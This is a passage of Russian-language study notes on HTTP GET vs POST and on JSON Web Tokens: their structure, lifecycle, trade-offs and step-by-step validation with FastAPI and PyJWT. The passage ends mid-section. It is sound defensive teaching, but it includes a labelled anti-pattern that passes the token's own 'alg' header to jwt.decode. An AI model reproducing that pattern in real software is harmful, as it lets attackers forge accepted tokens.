WEB #

1. GET vs POST #

Почему для конфиденциальных данных рекомендуется использовать POST, а не GET запросы

1. Безопасность - в GET-запросе данные передаются в URL, который может быть виден в истории браузера, логах сервера и прокси, в POST-запросе данные передаются в теле запроса, что снижает риск случайной утечки
2. Ограничения длины - длина URL в GET ограничена браузерами или серверами, поэтому большие объемы данных (например, конфиденциальные формы) могут не пройти
3. Кэширование - GET-запросы могут быть кэшированы прокси-серверами или браузерами, что нежелательно для конфиденциальной информации

Можем ли всегда использовать только POST и не работать с GET? Теоретически - да, но это нарушает принципы REST и архитектуру веб-приложений:

1. REST-принципы - GET предназначен для получения данных, POST - для создания. Использование POST для всех операций затрудняет понимание и поддержку API
2. Оптимизация и кэширование - GET запросы могут быть кэшированы, что ускоряет работу. POST запросы не кэшируются по умолчанию
3. Поисковые системы и SEO - GET используется для индексации страниц. Если использовать только POST, страницы не попадут в поисковую выдачу

Можем ли с помощью GET создать ресурс? Есть ли технические ограничения?

1. Технические ограничения - с точки зрения HTTP-протокола GET не должен создавать ресурсы. Но технически сервер может обрабатывать GET запросы так, чтобы они изменяли данные (например, создавали ресурс)
2. Практика - создание или изменение ресурсов через GET нарушает идемпотентность и может вызвать проблемы с кэшированием и повторными запросами

Почему решили из метода GET убрать body?

1. Неопределённое поведение - семантика GET подразумевает только получение данных. Тело запроса не является обязательной частью этой семантики, поэтому серверы могут игнорировать его
2. Совместимость - многие прокси-серверы, фреймворки и библиотеки не поддерживают body в GET, что могло бы привести к проблемам совместимости.
3. Простота и идемпотентность - GET-запросы считаются идемпотентными и безопасными. Наличие тела могло бы изменить эту концепцию, создавая больше путаницы

2. Почему в GET-запросе обычно не передают данные в теле запроса? #

Почему так делают #

Технически HTTP-сообщение GET может содержать тело, но стандарт не определяет для него общепринятую семантику. Тело не должно менять смысл запроса или определять целевой ресурс. Поэтому разные серверы, клиенты и промежуточные узлы могут обработать его по-разному.

Основные причины:

1. Ресурс определяется URL

GET /users/42
GET /users?status=active&page=2

Для GET путь и query-параметры описывают, какие данные нужно получить. Запрос можно понять, сохранить или повторить, просто имея URL.

2. Проблемы с прокси и клиентами

Прокси-сервер, CDN, API Gateway или HTTP-клиент может:

• проигнорировать тело;

• не передать его дальше;

• отклонить запрос;

• интерпретировать запрос иначе, чем сервер.

RFC отдельно указывает, что некоторые реализации могут отклонять GET с телом из-за риска HTTP request smuggling.

3. Кэширование обычно зависит от URL

Стандартный ключ HTTP-кэша как минимум строится из метода и целевого URI:

GET + /products?page=1

Тело запроса обычно не является частью стандартного ключа. Поэтому такие запросы потенциально проблемны:

GET /products
Body: {"category": "books"}

GET /products
Body: {"category": "phones"}

Для кэша оба запроса могут выглядеть одинаково: GET /products.

4. Плохая совместимость с OpenAPI и Swagger

OpenAPI разрешает описывать тело у GET, но прямо указывает, что его семантика не определена и такого использования следует избегать. FastAPI также поддерживает это только для редких случаев: Swagger UI может не показать тело, а прокси — не поддержать его.

Как передавать параметры #

Обычная фильтрация:

GET /users?status=active&age_from=18&limit=50

Параметр пути — идентификатор конкретного ресурса:

GET /users/42

Для сложного поиска с большим вложенным JSON обычно используют POST:

POST /users/search
Content-Type: application/json

{
  "filters": {
    "status": ["active", "blocked"],
    "age": {
      "from": 18,
      "to": 40
    }
  },
  "sort": [
    {
      "field": "created_at",
      "direction": "desc"
    }
  ]
}

Такой POST необязательно изменяет данные: он может просто выполнять сложный поиск. Главная причина его использования — у тела POST есть определённая семантика и нормальная поддержка всей HTTP-инфраструктурой.

Итого: тело в GET не строго запрещено протоколом, но его смысл не стандартизирован, поэтому оно ненадёжно и непереносимо. Для обычных параметров используют URL, для сложных структур — POST с телом.

3. Что такое JWT токен и из чего он состоит? #

Что такое JWT #

JWT (JSON Web Token) — компактный URL-безопасный формат передачи утверждений — claims — между сторонами в виде JSON-данных.

JWT часто применяется для аутентификации:

1. пользователь входит в систему;

2. сервер выдаёт JWT;

3. клиент передаёт его при последующих запросах;

4. сервер проверяет подпись и срок действия токена.

Важно: JWT — это формат токена, а не отдельный протокол аутентификации. Он может использоваться внутри OAuth 2.0, OpenID Connect или собственной системы авторизации.

Из чего состоит JWT #

Наиболее распространённый подписанный JWT состоит из трёх частей:

header.payload.signature

Например:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.
eyJzdWIiOiIxMjMiLCJyb2xlIjoidXNlciIsImV4cCI6MTc2MDAwMDAwMH0
.
qwerty_example_signature

Части разделяются точками. Такой формат основан на компактном представлении JWS — JSON Web Signature.

1. Header — заголовок #

Заголовок содержит метаданные токена:

{
  "alg": "HS256",
  "typ": "JWT"
}

Основные поля:

• alg — алгоритм создания подписи;

• typ — тип объекта, обычно JWT;

• kid — идентификатор ключа, когда сервер использует несколько ключей.

Заголовок сериализуется в JSON, а затем кодируется через Base64URL.

Пример алгоритмов:

• HS256 — HMAC с SHA-256 и общим секретом;

• RS256 — RSA с SHA-256, приватным и публичным ключами;

• ES256 — ECDSA с SHA-256.

Алгоритмы JWT/JWS определены спецификацией JSON Web Algorithms.

2. Payload — полезная нагрузка #

Payload содержит утверждения — claims:

{
  "sub": "123",
  "username": "alfob",
  "role": "user",
  "iat": 1760000000,
  "exp": 1760000900
}

Часто используемые зарегистрированные claims:

Кроме стандартных claims, приложение может добавлять собственные:

{
  "user_id": 42,
  "role": "admin",
  "permissions": ["files:read", "files:write"]
}

Payload также кодируется через Base64URL.

Base64URL не является шифрованием #

Header и payload обычно можно декодировать без знания секретного ключа.

Поэтому в JWT нельзя помещать:

{
  "password": "secret",
  "bank_card": "1234...",
  "private_key": "..."
}

Подпись защищает данные от незаметного изменения, но не скрывает их содержимое.

Условно:

Base64URL ≠ шифрование

Зашифрованный вариант JWT существует и называется JWE — JSON Web Encryption, но обычные JWT в веб-приложениях чаще являются подписанными JWS.

3. Signature — подпись #

Подпись подтверждает:

• токен создан доверенной стороной;

• header и payload не были изменены после выпуска.

Для HS256 принцип формирования подписи выглядит так:

HMAC-SHA256(
    base64url(header) + "." + base64url(payload),
    secret_key
)

Результат также кодируется через Base64URL.

Итоговый токен:

base64url(header).base64url(payload).base64url(signature)

Если злоумышленник изменит:

{
  "role": "user"
}

на:

{
  "role": "admin"
}

payload изменится, и старая подпись больше не будет соответствовать данным. Сервер должен отклонить такой токен.

HS256 и RS256 #

При HS256 один секрет используется и для создания, и для проверки подписи:

Сервер выпускает токен  ─┐
                         ├── secret_key
Сервер проверяет токен  ─┘

Тот, кто может проверять подпись, при наличии секрета также может создавать токены.

При RS256 используются два ключа:

Приватный ключ → создание подписи
Публичный ключ → проверка подписи

Публичный ключ можно передать другим сервисам: они смогут проверять токены, но не смогут выпускать новые.

Как JWT передаётся в HTTP #

Обычно токен передают в заголовке Authorization:

GET /api/profile HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

Сервер должен:

1. извлечь токен;

2. проверить допустимость алгоритма;

3. проверить криптографическую подпись;

4. проверить exp, nbf, iss, aud;

5. определить пользователя по sub или другому идентификатору;

6. проверить права пользователя.

Просто декодировать payload недостаточно — токен обязательно нужно валидировать.

Access и refresh JWT #

В типичной схеме используются два токена:

Access token  → короткий срок жизни, доступ к API
Refresh token → более долгий срок жизни, получение нового access token

Например:

Access token:  10 минут
Refresh token: 7 дней

Refresh-токен обычно дополнительно отслеживают на сервере: сохраняют его jti, состояние отзыва или сессию в базе данных/Redis. Иначе полностью stateless JWT сложно немедленно отозвать до истечения exp.

Главное #

JWT в распространённом подписанном виде состоит из:

Header.Payload.Signature

• Header описывает алгоритм и тип токена.

• Payload содержит claims о пользователе и токене.

• Signature защищает header и payload от подмены.

• Header и payload обычно только закодированы, а не зашифрованы.

• Подпись не скрывает данные, а подтверждает их целостность и происхождение.

4. Жизненный цикл JWT #

Важное уточнение #

У JWT как формата нет обязательного «жизненного цикла». Его определяет приложение или протокол авторизации.

В типичной системе:

• access token может быть JWT;

• refresh token может быть JWT, случайной строкой или другим непрозрачным значением;

• JWT не обязательно связан с OAuth 2.0.

JWT — это формат представления claims, а access token в OAuth является абстракцией: конкретный формат токена определяет сервер авторизации.

Общая схема #

Аутентификация пользователя
          ↓
Выпуск access и refresh token
          ↓
Использование access token
          ↓
Проверка токена на каждом запросе
          ↓
     ┌────┴──────────┐
     ↓               ↓
Токен действителен  Токен истёк
     ↓               ↓
Доступ к ресурсу    Обновление через refresh token
                         ↓
                 Новый access token
                         ↓
              Истечение или отзыв сессии

1. Аутентификация пользователя #

Клиент отправляет данные для входа:

POST /auth/login
Content-Type: application/json

{
  "username": "alfob",
  "password": "password"
}

Сервер:

1. находит пользователя;

2. проверяет пароль;

3. проверяет состояние учётной записи;

4. определяет права пользователя;

5. создаёт токены.

На этом этапе JWT ещё может не существовать. Сначала сервер должен удостовериться, кому он выдаёт токен.

2. Создание JWT #

Сервер формирует payload:

{
  "sub": "42",
  "iss": "https://auth.example.com",
  "aud": "https://api.example.com",
  "type": "access",
  "role": "user",
  "iat": 1785456000,
  "nbf": 1785456000,
  "exp": 1785456900,
  "jti": "ec8ef5b5-33ef-4d3c-aef5-8e20c16b55bb"
}

Основные claims:

• sub — субъект токена, обычно ID пользователя;

• iss — сервер, выпустивший токен;

• aud — сервис, для которого предназначен токен;

• iat — время выпуска;

• nbf — время, раньше которого токен использовать нельзя;

• exp — время окончания действия;

• jti — уникальный идентификатор JWT.

Затем сервер:

1. создаёт header;

2. сериализует header и payload;

3. кодирует их через Base64URL;

4. создаёт криптографическую подпись.

header.payload.signature

Согласно RFC 7519, после наступления exp JWT не должен приниматься, до наступления nbf — также не должен приниматься. Если присутствует aud, сервис должен проверить, что токен предназначен именно для него.

3. Выдача токенов клиенту #

Типичный ответ:

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-store

{
  "access_token": "eyJhbGciOiJSUzI1NiIs...",
  "refresh_token": "a-long-random-value",
  "token_type": "Bearer",
  "expires_in": 900
}

Например:

Access token:  15 минут
Refresh token: 7 дней

Access token используется для обращения к API. Refresh token предназначен для получения нового access token и должен отправляться только серверу авторизации, а не обычному ресурсному API.

4. Использование access token #

Клиент прикладывает access token к запросу:

GET /api/profile
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...

Bearer означает: тот, кто владеет токеном, обычно может им воспользоваться. Поэтому его необходимо защищать от утечки и передавать через защищённое соединение. Стандартным способом передачи является заголовок Authorization.

5. Проверка JWT сервером #

При каждом защищённом запросе API выполняет несколько проверок.

Формат #

header.payload.signature

Токен должен корректно декодироваться и иметь ожидаемую структуру.

Алгоритм #

Сервер должен заранее определить разрешённые алгоритмы:

jwt.decode(
    token,
    public_key,
    algorithms=["RS256"],
)

Нельзя безусловно доверять значению alg, которое прислал сам клиент в header. Библиотека и приложение должны проверять, что алгоритм входит в заранее разрешённый набор.

Подпись #

Сервер проверяет подпись:

verify(
    header.payload,
    signature,
    verification_key
)

При HS256 используется общий секрет. При RS256 или ES256 подпись обычно проверяется публичным ключом.

Issuer #

{
  "iss": "https://auth.example.com"
}

API проверяет, что токен выпущен доверенным сервером и что ключ проверки действительно принадлежит этому issuer.

Audience #

{
  "aud": "https://api.example.com"
}

Токен, предназначенный для другого API, должен быть отклонён.

Время #

Сервер проверяет:

nbf <= текущее время < exp

Также может учитываться небольшая погрешность часов — clock skew.

Тип токена #

Полезно явно разделять токены:

{
  "type": "access"
}

Refresh token нельзя принимать как access token только потому, что у него корректная подпись.

Серверное состояние #

При необходимости сервер дополнительно проверяет:

• находится ли jti в списке отозванных;

• существует ли пользователь;

• активна ли учётная запись;

• не изменился ли пароль;

• не была ли завершена сессия;

• актуальны ли роли и разрешения.

6. Авторизация #

После проверки JWT сервер определяет, разрешено ли пользователю выполнить конкретное действие.

Например, токен действителен:

{
  "sub": "42",
  "role": "user"
}

Но запрос требует администратора:

DELETE /api/users/10

Результат:

HTTP/1.1 403 Forbidden

То есть:

Валидный JWT ≠ разрешение на любую операцию

Аутентификация отвечает на вопрос «кто пользователь», авторизация — «что ему разрешено».

7. Истечение access token #

После наступления exp API отклоняет токен:

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer error="invalid_token"

Клиент больше не должен использовать этот access token. RFC 6749 требует, чтобы ресурсный сервер проверял срок действия и область доступа токена.

8. Обновление через refresh token #

Клиент отправляет refresh token серверу авторизации:

POST /auth/refresh
Content-Type: application/json

{
  "refresh_token": "a-long-random-value"
}

Сервер проверяет:

• подпись или наличие refresh token в хранилище;

• срок действия;

• тип токена;

• jti;

• владельца токена;

• состояние сессии;

• факт отзыва;

• допустимый client или устройство.

После успешной проверки выдаётся новый access token:

{
  "access_token": "new-access-token",
  "refresh_token": "new-refresh-token",
  "token_type": "Bearer",
  "expires_in": 900
}

9. Ротация refresh token #

Без ротации один refresh token используется многократно:

Refresh A → Access 1
Refresh A → Access 2
Refresh A → Access 3

При ротации каждый refresh token является одноразовым:

Refresh A → Access 1 + Refresh B
Refresh B → Access 2 + Refresh C
Refresh C → Access 3 + Refresh D

После использования Refresh A становится недействительным.

Если позднее кто-то повторно отправляет Refresh A, это может означать, что токен был украден. Сервер может отозвать всю связанную цепочку refresh-токенов и потребовать повторную аутентификацию. Актуальные рекомендации OAuth требуют для публичных клиентов применять ротацию refresh token либо криптографическую привязку токена к клиенту.

10. Выход из системы #

При logout клиент обычно:

1. удаляет локальные токены;

2. отправляет refresh token или идентификатор сессии серверу;

3. сервер отзывает refresh token или всю сессию.

POST /auth/logout
Authorization: Bearer <access-token>

Возможная серверная операция:

session.revoked = true

или:

Redis:
revoked:refresh:<jti> = true

Проблема отзыва access JWT #

Самодостаточный access JWT может оставаться криптографически действительным до наступления exp, даже если пользователь нажал logout.

Например:

12:00 — выдан access token до 12:15
12:05 — пользователь вышел
12:06 — украденный access token всё ещё может пройти проверку
12:15 — токен окончательно истёк

Так происходит, когда API проверяет только:

подпись + exp + iss + aud

и не обращается к серверному хранилищу.

Для немедленного отзыва используются:

• blacklist по jti;

• серверная сессия;

• версия токенов пользователя;

• время последнего глобального logout;

• короткоживущие access-токены;

• introspection для непрозрачных токенов.

Stateless и stateful варианты #

Полностью stateless access JWT #

API проверяет только JWT
База или Redis не запрашиваются

Преимущества:

• простая горизонтальная масштабируемость;

• быстрая локальная проверка;

• нет запроса в центральное хранилище на каждый API-вызов.

Недостаток:

• сложно немедленно отозвать уже выданный токен.

JWT с серверным состоянием #

JWT + проверка jti/session/token_version в Redis или БД

Преимущества:

• немедленный logout;

• блокировка отдельных устройств;

• отзыв украденных токенов;

• управление активными сессиями.

Недостаток:

• дополнительный запрос к хранилищу;

• система уже не является полностью stateless.

Полный пример жизненного цикла #

1. 12:00 — пользователь проходит аутентификацию

2. Сервер выдаёт:
   access token  до 12:15
   refresh token до 19:00 следующей недели

3. 12:05 — клиент вызывает API с access token

4. API проверяет:
   alg
   подпись
   iss
   aud
   nbf
   exp
   type
   права пользователя

5. 12:15 — access token истекает

6. Клиент отправляет refresh token серверу авторизации

7. Сервер выдаёт:
   новый access token
   новый refresh token

8. Старый refresh token аннулируется

9. Пользователь выходит из системы

10. Сервер отзывает refresh token и сессию

11. Дальнейшее обновление access token невозможно

Главная идея жизненного цикла:

Аутентификация
→ выпуск
→ передача
→ проверка
→ использование
→ истечение
→ обновление
→ ротация или отзыв
→ завершение сессии

5. Какие плюсы и минусы имеет использование JWT в системах авторизации? #

Преимущества JWT #

1. Локальная проверка токена #

JWT может содержать все данные, необходимые API для проверки запроса:

{
  "sub": "42",
  "role": "user",
  "aud": "orders-api",
  "exp": 1785456900
}

Сервис проверяет:

• криптографическую подпись;

• срок действия;

• издателя iss;

• получателя aud;

• необходимые claims.

Для этого не обязательно обращаться к серверу авторизации или базе данных при каждом запросе. Это удобно в распределённых системах и микросервисной архитектуре.

Клиент
  │ JWT
  ▼
API-сервис ── проверяет подпись публичным ключом

2. Хорошая масштабируемость #

Когда access-токены проверяются локально, любой экземпляр API может обработать запрос:

                 ┌─ API instance 1
Клиент → балансировщик ├─ API instance 2
                 └─ API instance 3

Не требуется хранить пользовательскую HTTP-сессию в памяти конкретного сервера. Поэтому проще:

• добавлять новые экземпляры приложения;

• распределять запросы через балансировщик;

• не использовать sticky sessions;

• уменьшать нагрузку на централизованное хранилище сессий.

Но это преимущество сохраняется только при действительно локальной проверке JWT. Если каждый запрос дополнительно проверяет jti или сессию в Redis, система уже не полностью stateless.

3. Удобство для нескольких сервисов #

Сервер авторизации может подписывать JWT приватным ключом, а остальные сервисы — проверять подпись публичным:

Auth Service
private key
     │
     ▼
   JWT
     │
     ├── Users API ─── public key
     ├── Orders API ── public key
     └── Files API ─── public key

Проверяющие сервисы не получают приватный ключ и не могут самостоятельно выпускать корректные токены.

4. Стандартизированный формат #

JWT имеет стандартизированную структуру и набор зарегистрированных claims:

header.payload.signature

{
  "iss": "auth.example.com",
  "sub": "42",
  "aud": "api.example.com",
  "exp": 1785456900,
  "nbf": 1785456000,
  "iat": 1785456000,
  "jti": "unique-token-id"
}

Это упрощает интеграцию между системами, написанными на разных языках и технологиях. Сам формат JWT определён RFC 7519, а правила безопасного использования уточнены RFC 8725.

5. Возможность передавать ограниченный контекст #

В access JWT можно поместить данные, необходимые для авторизации:

{
  "sub": "42",
  "scope": "files:read files:write",
  "tenant_id": "company-7"
}

API может принять решение без дополнительного запроса к сервису пользователей:

if "files:write" not in token.scopes:
    raise Forbidden()

Это уменьшает связанность сервисов и количество сетевых запросов.

6. Поддержка короткоживущих токенов #

JWT удобно использовать как access token с небольшим сроком жизни:

Access JWT:   5–15 минут
Refresh token: несколько дней

Даже если access-токен украден, период его использования ограничен значением exp. Однако короткий срок действия не заменяет защиту токена от утечки.

Недостатки JWT #

1. Сложный немедленный отзыв #

Главный недостаток самодостаточного JWT: после выпуска он остаётся криптографически действительным до наступления exp.

12:00 — access JWT выдан до 12:15
12:05 — пользователь вышел из системы
12:06 — украденный JWT всё ещё может работать
12:15 — JWT истёк

Сама подпись не сообщает, что пользователь вышел, был заблокирован или его сессия была завершена.

Для немедленного отзыва приходится добавлять серверное состояние:

JWT
 +
blacklist по jti
или
session_id в Redis
или
token_version пользователя

Тогда исчезает часть преимущества stateless-подхода.

2. Устаревание данных внутри токена #

Claims являются снимком состояния на момент выпуска:

{
  "sub": "42",
  "role": "admin",
  "exp": 1785456900
}

Через минуту пользователя могут лишить роли администратора, но старый JWT продолжит содержать:

{
  "role": "admin"
}

Решения:

• короткий срок жизни access-токена;

• проверка критичных прав в базе;

• хранение версии прав или версии токена;

• отзыв сессии;

• не помещать часто меняющиеся права непосредственно в JWT.

Поэтому JWT особенно неудобен для систем, где полномочия должны изменяться мгновенно.

3. JWT обычно не шифрует содержимое #

Обычный подписанный JWT защищает payload от подмены, но не скрывает его:

Base64URL ≠ шифрование

Любой владелец токена обычно может декодировать payload:

{
  "sub": "42",
  "email": "user@example.com",
  "role": "admin"
}

Поэтому в JWT нельзя помещать:

• пароль;

• приватный ключ;

• платёжные реквизиты;

• секреты;

• лишние персональные данные.

JWT может быть зашифрован с помощью JWE, но это отдельный и более сложный механизм. RFC 8725 отдельно рассматривает риски раскрытия информации и требует не считать обычное кодирование защитой конфиденциальности.

4. Токен может быть довольно большим #

Обычный идентификатор сессии:

a3d91f8c2e...

JWT:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...

JWT содержит:

• заголовок;

• claims;

• временные поля;

• подпись;

• Base64URL-кодирование.

Он передаётся при каждом запросе:

Authorization: Bearer <длинный JWT>

При большом количестве claims это увеличивает:

• размер HTTP-заголовков;

• сетевой трафик;

• объём логов;

• вероятность превышения ограничений прокси или веб-сервера.

Не следует превращать JWT в контейнер всего профиля пользователя.

5. Ошибки конфигурации могут привести к серьёзным уязвимостям #

Небезопасная проверка JWT может включать:

• доверие к алгоритму alg из входящего токена;

• принятие неподписанного токена;

• смешивание HS256 и RS256;

• отсутствие проверки iss;

• отсутствие проверки aud;

• принятие refresh token как access token;

• повторное использование одного токена в разных контекстах;

• слабый HMAC-секрет;

• небезопасную загрузку ключей по данным из header.

RFC 8725 требует заранее фиксировать разрешённые алгоритмы, проверять issuer и audience, использовать явные правила валидации и не применять один набор правил для разных типов JWT.

Пример правильного ограничения алгоритма:

payload = jwt.decode(
    token,
    public_key,
    algorithms=["RS256"],
    audience="orders-api",
    issuer="https://auth.example.com",
)

6. JWT не решает проблему безопасного хранения на клиенте #

JWT может быть украден:

• через XSS;

• из localStorage;

• из логов;

• из истории отладки;

• через вредоносное расширение;

• при передаче без TLS;

• через неправильно настроенные cookies.

Bearer-токен обычно может использовать любой, кто им завладел:

Есть токен → можно представиться его владельцем

Использование JWT не делает аутентификацию автоматически безопасной. Безопасность зависит от хранения, передачи, срока действия, ротации refresh-токенов и защиты клиентского приложения. Современные рекомендации OAuth отдельно требуют защищаться от повторного использования и утечки refresh-токенов, например посредством ротации или привязки токена к клиенту.

7. Logout становится сложнее #

При серверной сессии выход выглядит просто:

Удалить session_id из Redis
→ все следующие запросы отклоняются

При stateless JWT:

Удаление токена на клиенте
≠
немедленное прекращение действия всех его копий

Для полноценного logout со всех устройств требуется инфраструктура:

• серверные сессии;

• хранение refresh-токенов;

• blacklist;

• семейства refresh-токенов;

• ротация;

• обнаружение повторного использования;

• отзыв сессии.

8. Сложнее управлять ключами #

При использовании асимметричной подписи необходимо организовать:

• безопасное хранение приватного ключа;

• публикацию публичных ключей;

• идентификаторы kid;

• ротацию ключей;

• период совместимости старого и нового ключа;

• удаление скомпрометированных ключей;

• синхронизацию ключей между сервисами.

JWT упрощает локальную проверку, но переносит часть сложности в управление криптографическими ключами.

9. JWT иногда применяют без необходимости #

Для обычного монолитного приложения:

Browser → один backend → одна база данных

серверная сессия часто проще:

Cookie: session_id=abc123

Redis:
abc123 → user_id=42

Она даёт:

• простой немедленный logout;

• небольшую cookie;

• централизованное управление сессиями;

• отсутствие устаревших ролей внутри токена;

• более простую реализацию.

JWT не является «современной заменой сессий» для любого приложения.

JWT и серверная сессия #

Когда JWT оправдан #

JWT хорошо подходит, когда:

• есть несколько независимых API;

• access token проверяют разные сервисы;

• нужен единый сервер авторизации;

• требуется локальная проверка без сетевого вызова;

• используются короткоживущие access-токены;

• настроены проверка iss, aud, exp и строгий список алгоритмов;

• реализовано безопасное управление refresh-токенами.

Пример:

Mobile App
    │
    ▼
Authorization Server
    │ JWT
    ├── Orders API
    ├── Payments API
    └── Files API

Когда JWT может быть лишним #

Серверная сессия часто предпочтительнее, когда:

• приложение является обычным монолитом;

• API обслуживает только собственный браузерный frontend;

• нужен немедленный logout;

• права пользователя часто меняются;

• требуется централизованное управление устройствами и сессиями;

• нет реальной необходимости проверять токен несколькими независимыми сервисами.

Итог #

Главное преимущество JWT:

Самодостаточный подписанный токен
→ локальная проверка
→ удобство для распределённых систем

Главный недостаток:

Самодостаточный токен
→ сервер не контролирует его после выпуска
→ сложный отзыв и устаревание claims

Поэтому JWT наиболее полезен как короткоживущий access token между сервером авторизации и несколькими API. Для простого веб-приложения классическая серверная сессия нередко безопаснее и проще.

6. Как выполняется валидация JWT в приложении? #

Что означает валидация JWT #

Валидация JWT — это не просто декодирование payload. Приложение должно убедиться, что:

токен имеет корректный формат
+ подпись действительна
+ токен выпущен доверенным сервером
+ предназначен этому приложению
+ ещё не истёк
+ имеет нужный тип
+ относится к существующему и активному субъекту

Если хотя бы одна обязательная проверка не проходит, токен должен быть отклонён. RFC 7519 прямо требует считать JWT недействительным при провале любого этапа его проверки.

Общий процесс #

HTTP-запрос
    ↓
Извлечение Bearer-токена
    ↓
Проверка структуры JWT
    ↓
Выбор доверенного ключа
    ↓
Проверка алгоритма и подписи
    ↓
Проверка стандартных claims
    ↓
Проверка прикладных claims
    ↓
Проверка пользователя и отзыва токена
    ↓
Авторизация операции

1. Извлечение токена #

Обычно клиент передаёт JWT в заголовке:

GET /api/profile HTTP/1.1
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...

FastAPI может извлечь его через OAuth2PasswordBearer:

from fastapi import Depends
from fastapi.security import OAuth2PasswordBearer

oauth2_scheme = OAuth2PasswordBearer(tokenUrl="/auth/login")


async def get_current_user(
    token: str = Depends(oauth2_scheme),
):
    ...

oauth2_scheme извлекает значение после Bearer, но сам по себе не выполняет криптографическую проверку JWT. Проверка выполняется библиотекой JWT внутри зависимости. Официальный пример FastAPI использует именно такую схему.

2. Проверка структуры #

Обычный подписанный JWT должен состоять из трёх частей:

header.payload.signature

Библиотека проверяет:

• наличие разделителей . при compact-представлении;

• корректность Base64URL;

• корректность JSON;

• допустимость полей заголовка;

• корректность формата claims.

Эти технические действия обычно выполняет JWT-библиотека, а не код приложения вручную.

3. Проверка алгоритма #

Допустимый алгоритм должен задаваться конфигурацией сервера:

ALGORITHM = "HS256"

payload = jwt.decode(
    token,
    SECRET_KEY,
    algorithms=[ALGORITHM],
)

Нельзя делать так:

header = jwt.get_unverified_header(token)

payload = jwt.decode(
    token,
    SECRET_KEY,
    algorithms=[header["alg"]],
)

Значение alg находится во входящем токене и контролируется отправителем. Приложение должно заранее определить разрешённый набор алгоритмов и не смешивать симметричные HS* и асимметричные RS* алгоритмы для одного ключевого контекста. Это требование содержится и в RFC 8725, и в официальной документации PyJWT.

4. Проверка подписи #

Для HS256 подпись проверяется тем же секретом, которым токен был создан:

Auth-сервис: создаёт подпись secret_key
API:         проверяет подпись secret_key

payload = jwt.decode(
    token,
    SECRET_KEY,
    algorithms=["HS256"],
)

Для RS256:

Auth-сервис: подписывает приватным ключом
API:         проверяет публичным ключом

payload = jwt.decode(
    token,
    PUBLIC_KEY,
    algorithms=["RS256"],
)

Библиотека повторно вычисляет криптографическую проверку над:

base64url(header) + "." + base64url(payload)

и сравнивает результат с подписью токена.

Если кто-либо изменит, например:

{
  "role": "user"
}

на:

{
  "role": "admin"
}

подпись перестанет соответствовать содержимому, и токен будет отклонён.

Важно: сначала проверяется подпись, и только после этого claims можно считать доверенными. Чтение payload с отключённой проверкой подписи не подтверждает ни его целостность, ни происхождение.

5. Выбор ключа через kid #

Когда сервер использует несколько ключей, JWT может содержать:

{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "key-2026-01"
}

kid помогает найти нужный публичный ключ:

kid из JWT
    ↓
поиск ключа в доверенном JWKS
    ↓
проверка подписи

Сам kid до проверки подписи ещё не является доверенным значением. Его разрешено использовать только как идентификатор для поиска ключа в заранее настроенном доверенном наборе ключей.

PyJWT предоставляет PyJWKClient для получения ключей из JWKS endpoint.

Пример:

from jwt import PyJWKClient

jwks_client = PyJWKClient(
    "https://auth.example.com/.well-known/jwks.json"
)

signing_key = jwks_client.get_signing_key_from_jwt(token)

payload = jwt.decode(
    token,
    signing_key.key,
    algorithms=["RS256"],
    issuer="https://auth.example.com",
    audience="notification-api",
)

Адрес JWKS должен задаваться конфигурацией приложения, а не браться из непроверенного JWT.

6. Проверка exp #

exp определяет момент, после которого токен нельзя принимать:

{
  "exp": 1785456900
}

Условие:

текущее время < exp

Если время равно exp или превышает его, JWT уже недействителен. RFC допускает небольшой leeway для компенсации рассинхронизации системных часов.

В PyJWT проверка exp выполняется при jwt.decode():

payload = jwt.decode(
    token,
    SECRET_KEY,
    algorithms=["HS256"],
    leeway=5,
)

from jwt import ExpiredSignatureError

try:
    payload = jwt.decode(
        token,
        SECRET_KEY,
        algorithms=["HS256"],
    )
except ExpiredSignatureError:
    print("JWT истёк")

PyJWT автоматически проверяет exp, когда claim присутствует. Чтобы гарантировать его обязательное наличие, нужно отдельно добавить его в require.

7. Проверка nbf #

nbf означает, что токен нельзя принимать раньше определённого времени:

{
  "nbf": 1785456000
}

Условие:

текущее время >= nbf

Например, JWT может быть выпущен заранее, но начать действовать через пять минут. До наступления nbf он должен быть отклонён.

8. Проверка iss #

iss указывает, кто выпустил JWT:

{
  "iss": "https://auth.example.com"
}

API должен сравнить это значение с ожидаемым издателем:

payload = jwt.decode(
    token,
    PUBLIC_KEY,
    algorithms=["RS256"],
    issuer="https://auth.example.com",
)

Без проверки iss приложение может принять JWT, выпущенный другим сервером, особенно когда разные системы используют совместимые алгоритмы или ключевую инфраструктуру.

RFC 8725 рекомендует проверять связь между издателем, субъектом и ключом, которым проверяется подпись.

9. Проверка aud #

aud указывает, для какого API предназначен токен:

{
  "aud": "notification-api"
}

Проверка:

payload = jwt.decode(
    token,
    PUBLIC_KEY,
    algorithms=["RS256"],
    audience="notification-api",
)

Например:

aud = files-api

Такой токен нельзя принимать в:

payments-api

даже если его подпись корректна и он выпущен тем же сервером авторизации. Если приложение не входит в aud, токен должен быть отклонён.

10. Проверка обязательных claims #

RFC 7519 не требует, чтобы каждый JWT обязательно содержал exp, iss, aud или другие claims: обязательный набор определяет конкретное приложение. Поэтому присутствие необходимых claims нужно явно контролировать.

В PyJWT:

payload = jwt.decode(
    token,
    PUBLIC_KEY,
    algorithms=["RS256"],
    issuer="https://auth.example.com",
    audience="notification-api",
    options={
        "require": [
            "sub",
            "iss",
            "aud",
            "iat",
            "exp",
            "jti",
        ]
    },
)

Без require отсутствие, например, exp может не считаться ошибкой: проверка срока действия выполняется, когда claim присутствует.

11. Проверка типа токена #

Access и refresh JWT могут быть подписаны одним сервером и иметь одинаковую структуру:

{
  "type": "access"
}

{
  "type": "refresh"
}

После криптографической проверки приложение должно дополнительно проверить назначение токена:

if payload.get("type") != "access":
    raise InvalidTokenError("Ожидался access token")

Иначе refresh token теоретически может быть передан в API вместо access token.

RFC 8725 отдельно рассматривает атаки, при которых JWT, созданный для одного назначения, используется в другом контексте. Для разных типов токенов должны применяться взаимоисключающие правила валидации.

12. Проверка sub #

sub обычно содержит идентификатор пользователя:

{
  "sub": "42"
}

После проверки JWT приложение должно убедиться, что субъект имеет допустимый формат и существует:

subject = payload.get("sub")

